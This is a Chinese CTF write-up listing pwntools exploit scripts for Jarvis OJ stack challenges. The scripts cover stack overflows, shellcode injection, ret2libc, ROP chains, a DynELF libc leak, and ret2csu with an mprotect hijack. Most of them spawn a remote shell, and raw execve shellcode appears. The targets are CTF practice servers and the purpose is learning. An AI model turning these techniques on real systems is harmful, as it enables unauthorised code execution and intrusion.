Jarvis OJ - 栈系列部分pwn - Writeup

最近做了Jarvis OJ的一部分pwn题，收获颇丰，现在这里简单记录一下exp，分析过程和思路以后再补上

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Tell Me Something

此题与level0类似，请参考level0的writeup
http://www.cnblogs.com/WangAoBo/p/7591552.html

 #!/usr/bin/env python
 # -*- coding: utf-8 -*-
 __Auther__ = 'M4x'

 from pwn import *

 elf = ELF('./guestbook')
 good_game_addr = elf.symbols['good_game']

 #  io = process('./guestbook')
 io = remote('pwn.jarvisoj.com', 9876)
 payload = 'A' * 0x88 + p64(good_game_addr)

 io.recvuntil('message:\n')
 io.send(payload)

 print io.recvall()
 io.close()

---

Smashes

 #!/usr/bin/env python
 # -*- coding: utf-8 -*-
 __Auther__ = 'M4x'

 from pwn import *
 context.log_level = 'debug'

 flag_addr = 0x400d21
 #  offset = 0x7fffffffcd68 - 0x7fffffffcb50
 #  payload = 'A' * offset + p64(flag_addr)

 payload = p64(flag_addr) * 200

 io = remote('pwn.jarvisoj.com', 9877)
 #  io = process('./smashes')

 io.recvuntil('name? ')
 io.sendline(payload)
 #  io.recvuntil('flag: ')
 io.recv()
 io.sendline()
 io.recv()

---

Test Your Memory

 #!/usr/bin/env python
 # -*- coding: utf-8 -*-
 __Auther__ = 'M4x'

 from pwn import *
 context.log_level = 'debug'

 elf = ELF('./memory')
 win_func_addr = elf.symbols['win_func']
 cat_flag_addr = elf.search('cat flag').next()

 payload = 'A' * (0x13 + 0x4) + p32(win_func_addr) + p32(win_func_addr) + p32(cat_flag_addr)

 #  io = process('./memory')
 io = remote('pwn2.jarvisoj.com', 9876)
 io.recvuntil('> ')
 io.sendline(payload)

 print io.recvall()
 io.close()

---

[XMAN]level0

详细分析
http://www.cnblogs.com/WangAoBo/p/7591552.html

 #!/usr/bin/env python
 # -*- coding: utf-8 -*-
 __Auther__ = 'M4x'

 from pwn import *

 context.log_level = 'debug'

 elf = ELF('./level0')
 callsys_addr = elf.symbols['callsystem']

 #  io = process('./level0')
 io = remote('pwn2.jarvisoj.com', 9881)
 io.recvuntil('World\n')

 payload = 'A' * (0x80 + 0x8) + p64(callsys_addr)
 io.send(payload)

 io.interactive()
 io.close()

---

[XMAN]level1

详细分析
http://www.cnblogs.com/WangAoBo/p/7594173.html

 #!/usr/bin/env python
 # -*- coding: utf-8 -*-
 __Auther__ = 'M4x'

 from pwn import *

 context.log_level = 'debug'

 shellcode = asm(shellcraft.i386.linux.sh())
 #  io = process('./level1')
 io = remote('pwn2.jarvisoj.com', 9877)
 text = io.recvline()[14: -2]
 #  print text[14:-2]
 buf_addr = int(text, 16)

 payload = shellcode + 'A' * (0x88 + 0x4 - len(shellcode)) + p32(buf_addr)
 io.send(payload)
 io.interactive()
 io.close()

---

[XMAN]level2

详细分析
http://www.cnblogs.com/WangAoBo/p/7622091.html

 #!/usr/bin/env python
 # -*- coding: utf-8 -*-
 __Auther__ = 'M4x'

 from pwn import *
 context.log_level = 'debug'

 elf = ELF('./level2')
 sys_addr = elf.symbols['system']
 sh_addr = elf.search('/bin/sh').next()

 payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
 #  io = process('./level2')
 io = remote('pwn2.jarvisoj.com', 9878)
 io.recvuntil('Input:\n')

 io.send(payload)
 io.interactive()
 io.close()

---

[XMAN]level2_x64

level2_x64与level3_x64放在一块分析
http://www.cnblogs.com/WangAoBo/p/7966773.html

 #!/usr/bin/env python
 # -*- coding: utf-8 -*-
 __Auther__ = 'M4x'

 from pwn import *
 context.log_level = 'debug'

 elf = ELF('./level2_x64')
 sys_addr = elf.symbols['system']
 sh_addr = elf.search('/bin/sh').next()

 rop = ROP(elf)
 p_rdi_r_addr = rop.rdi[0]
 #  print type(p_rdi_r_addr)

 payload = 'A' * (0x80 + 0x8) + p64(p_rdi_r_addr) + p64(sh_addr) + p64(sys_addr) + p64(0xdeadbeef)

 #  io = process('./level2_x64')
 io = remote('pwn2.jarvisoj.com', 9882)
 io.recvuntil('Input:\n')
 io.send(payload)
 io.interactive()
 io.close()

---

[XMAN]level3

level2_x64与level3_x64放在一块分析
http://www.cnblogs.com/WangAoBo/p/7966773.html

 #!/usr/bin/env python
 # -*- coding: utf-8 -*-
 __Auther__ = 'M4x'

 from pwn import *
 context.log_level = 'debug'

 local = 0
 if local:
     io = process('./level3')
     libc = ELF('/lib/i386-linux-gnu/libc.so.6')
 else:
     io = remote('pwn2.jarvisoj.com', 9879)
     libc = ELF('./libc-2.19.so')

 elf = ELF('./level3')
 start_elf_addr = elf.symbols['_start']
 write_elf_addr = elf.symbols['write']
 read_got_addr = elf.got['read']
 read_libc_addr = libc.symbols['read']
 sys_libc_addr = libc.symbols['system']
 sh_libc_addr = libc.search('/bin/sh').next()

 payload = 'A' * (0x88 + 0x04) + p32(write_elf_addr) + p32(start_elf_addr) + p32(0x1) + p32(read_got_addr) + p32(0x4)

 io.recvuntil('Input:\n')
 io.send(payload)

 read_addr = u32(io.recv(4))
 offset = read_addr - read_libc_addr

 sys_addr = offset + sys_libc_addr
 sh_addr = offset + sh_libc_addr

 payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
 io.recvuntil('Input:\n')

 io.send(payload)
 io.interactive()
 io.close()

---

[XMAN]level3_x64

 #!/usr/bin/env python
 # -*- coding: utf-8 -*-
 __Auther__ = 'M4x'

 from pwn import *
 context.log_level = 'debug'

 local = 0
 if local:
     io = process('./level3_x64')
     libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
 else:
     io = remote('pwn2.jarvisoj.com', 9883)
     libc = ELF('./libc-2.19.so')

 elf = ELF('./level3_x64')
 start_elf_addr = elf.symbols['_start']
 write_elf_addr = elf.symbols['write']
 read_got_addr = elf.got['read']
 read_libc_addr = libc.symbols['read']
 sys_libc_addr = libc.symbols['system']
 sh_libc_addr = libc.search('/bin/sh').next()

 rop = ROP(elf)
 p_rdi_r_addr = rop.rdi[0]
 p_rsi_r15_r_addr = rop.rsi[0]

 payload = 'A' * (0x80 + 0x8)
 payload += p64(p_rdi_r_addr)
 payload += p64(0x1)
 payload += p64(p_rsi_r15_r_addr)
 payload += p64(read_got_addr)
 payload += p64(0x0)
 payload += p64(write_elf_addr)
 payload += p64(start_elf_addr)

 io.recvuntil('Input:\n')
 io.send(payload)

 read_addr = u64(io.recv(0x8))
 offset = read_addr - read_libc_addr

 sys_addr = offset + sys_libc_addr
 sh_addr = offset + sh_libc_addr

 payload = 'A' * (0x80 + 0x8)
 payload += p64(p_rdi_r_addr)
 payload += p64(sh_addr)
 payload += p64(sys_addr)
 payload += p64(0xdeadbeef)

 io.recvuntil('Input:\n')
 io.send(payload)
 io.interactive()
 io.close()

---

[XMAN]level4

 !/usr/bin/env python
 # -*- coding: utf-8 -*-
 __Auther__ = 'M4x'

 from pwn import *
 context.log_level = 'debug'

 #  io = process('./level4')
 io = remote('pwn2.jarvisoj.com', 9880)

 elf = ELF('./level4')
 write_elf_addr = elf.symbols['write']
 start_elf_addr = elf.symbols['_start']
 read_elf_addr = elf.symbols['read']
 bss_addr = elf.bss()

 def leak(addr):
     payload = 'A' * (0x88 + 0x4) + p32(write_elf_addr) + p32(start_elf_addr) + p32(0x1) + p32(addr) + p32(0x4)

     io.send(payload)
     leaked = io.recv(4)
     log.info("leaked -> %s -> 0x%x" % (leaked, u32(leaked)))
     return leaked

 d = DynELF(leak, elf = ELF('./level4'))
 sys_addr = d.lookup('system', 'libc')
 log.info("sys_addr -> 0x%x" % sys_addr)

 payload = 'A' * (0x88 + 0x4) + p32(read_elf_addr) + p32(start_elf_addr) + p32(0x0) + p32(bss_addr) + p32(0x8)

 io.send(payload)
 io.send('/bin/sh\0')

 sh_addr = bss_addr
 payload = 'A' * (0x88 + 0x4) + p32(sys_addr) + p32(0xdeadbeef) + p32(sh_addr)
 io.send(payload)

 io.interactive()
 io.close()

---

[XMAN]level5

 #!/usr/bin/env python
 # -*- coding: utf-8 -*-
 __Auther__ = 'M4x'

 def Debug():
     raw_input("waiting for debug:")
     gdb.attach(io, "b *0x0000000000400618")

 from pwn import *
 context.terminal = ['deepin-terminal', '-x', 'bash', '-c']
 context.log_level = 'debug'

 elf = ELF('./level5')
 rop = ROP(elf)
 p_rdi_r_addr = rop.rdi[0]
 p_rsi_r15_r_addr = rop.rsi[0]

 p_rbx_rbp_r12_r13_r14_r15_r = 0x00000000004006aa
 mov_call = 0x0000000000400690

 local = 0
 if local:
     io = process('./level5')
     libc = ELF('./libc.so.6')
 else:
     io = remote('pwn2.jarvisoj.com', 9884)
     libc = ELF('./libc-2.19.so')

 io.recvuntil('Input:\n')
 log.info("Step 1: leak read_addr")

 read_libc_addr = libc.symbols['read']
 read_got_addr = elf.got['read']
 write_elf_addr = elf.symbols['write']
 vuln_elf_addr = elf.symbols['vulnerable_function']

 payload = 'A' * (0x80 + 0x8)
 payload += p64(p_rdi_r_addr)
 payload += p64(0x1)
 payload += p64(p_rsi_r15_r_addr)
 payload += p64(read_got_addr)
 payload += p64(0x0000)
 payload += p64(write_elf_addr)
 payload += p64(vuln_elf_addr)

 io.send(payload)

 read_addr = u64(io.recv(8))
 io.recvuntil('Input:\n')
 log.info("leaked read_addr -> 0x%x" % read_addr)

 log.info("Step 2: write shellcode 2 bss")
 sh_addr = bss_addr = elf.bss()
 shellcode = "\x48\xb9\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe1\x08\x48\xc1\xe9\x08\x51\x48\x8d\x3c\x24\x48\x31\xd2\xb0\x3b\x0f\x05"

 payload = 'B' * (0x80 + 0x8)
 payload += p64(p_rbx_rbp_r12_r13_r14_r15_r)
 payload += p64(0x0)
 payload += p64(0x1)
 payload += p64(read_got_addr)
 payload += p64(len(shellcode) + 1)
 payload += p64(bss_addr)
 payload += p64(0x0)
 payload += p64(mov_call)
 payload += 'C' * (7 * 8)
 payload += p64(vuln_elf_addr)

 io.send(payload)
 io.send(shellcode + '\0')
 io.recvuntil('Input:\n')

 log.info("Step 3: hijack mprotect 2 __gmon_start__")
 mprotect_addr = read_addr - read_libc_addr + libc.symbols['mprotect']
 mprotect_hijack_addr = 0x0000000000600a70

 payload = 'D' * (0x80 + 0x8)
 payload += p64(p_rbx_rbp_r12_r13_r14_r15_r)
 payload += p64(0x0)
 payload += p64(0x1)
 payload += p64(read_got_addr)
 payload += p64(0x8)
 payload += p64(mprotect_hijack_addr)
 payload += p64(0x0)
 payload += p64(mov_call)
 payload += 'E' * (7 * 8)
 payload += p64(vuln_elf_addr)

 io.send(payload)
 io.send(p64(mprotect_addr))
 io.recvuntil('Input:\n')

 log.info("Step 4: hijack sh/bss 2 __libc_start_main")
 sh_hijack_addr = 0x0000000000600a68

 payload = 'F' * (0x80 + 0x8)
 payload += p64(p_rbx_rbp_r12_r13_r14_r15_r)
 payload += p64(0x0)
 payload += p64(0x1)
 payload += p64(read_got_addr)
 payload += p64(0x8)
 payload += p64(sh_hijack_addr)
 payload += p64(0x0)
 payload += p64(mov_call)
 payload += 'G' * (7 * 8)
 payload += p64(vuln_elf_addr)

 io.send(payload)
 io.send(p64(sh_addr))
 io.recvuntil('Input:\n')

 log.info("Step 5: fix bss 2 777")

 payload = 'H' * (0x80 + 0x8)
 payload += p64(p_rbx_rbp_r12_r13_r14_r15_r)
 payload += p64(0x0)
 payload += p64(0x1)
 payload += p64(mprotect_hijack_addr)
 payload += p64(0x7)
 #  payload += p64(len(shellcode) + 1)
 #  payload += p64(sh_hijack_addr)
 payload += p64(0x1000)
 payload += p64(0x00600000)
 payload += p64(mov_call)
 payload += 'I' * (7 * 8)
 payload += p64(vuln_elf_addr)

 #  Debug()
 io.send(payload)
 io.recvuntil('Input:\n')

 log.info("Step 6: execv shllcode")

 payload = 'J' * (0x80 + 0x8)
 #  payload += p64(sh_addr)
 payload += p64(p_rbx_rbp_r12_r13_r14_r15_r)
 payload += p64(0x0)
 payload += p64(0x1)
 payload += p64(sh_hijack_addr)
 payload += p64(0x0)
 payload += p64(0x0)
 payload += p64(0x0)
 payload += p64(mov_call)
 payload += p64(vuln_elf_addr)

 io.send(payload)

 log.info("Step 7: getshell")
 io.interactive()
 io.close()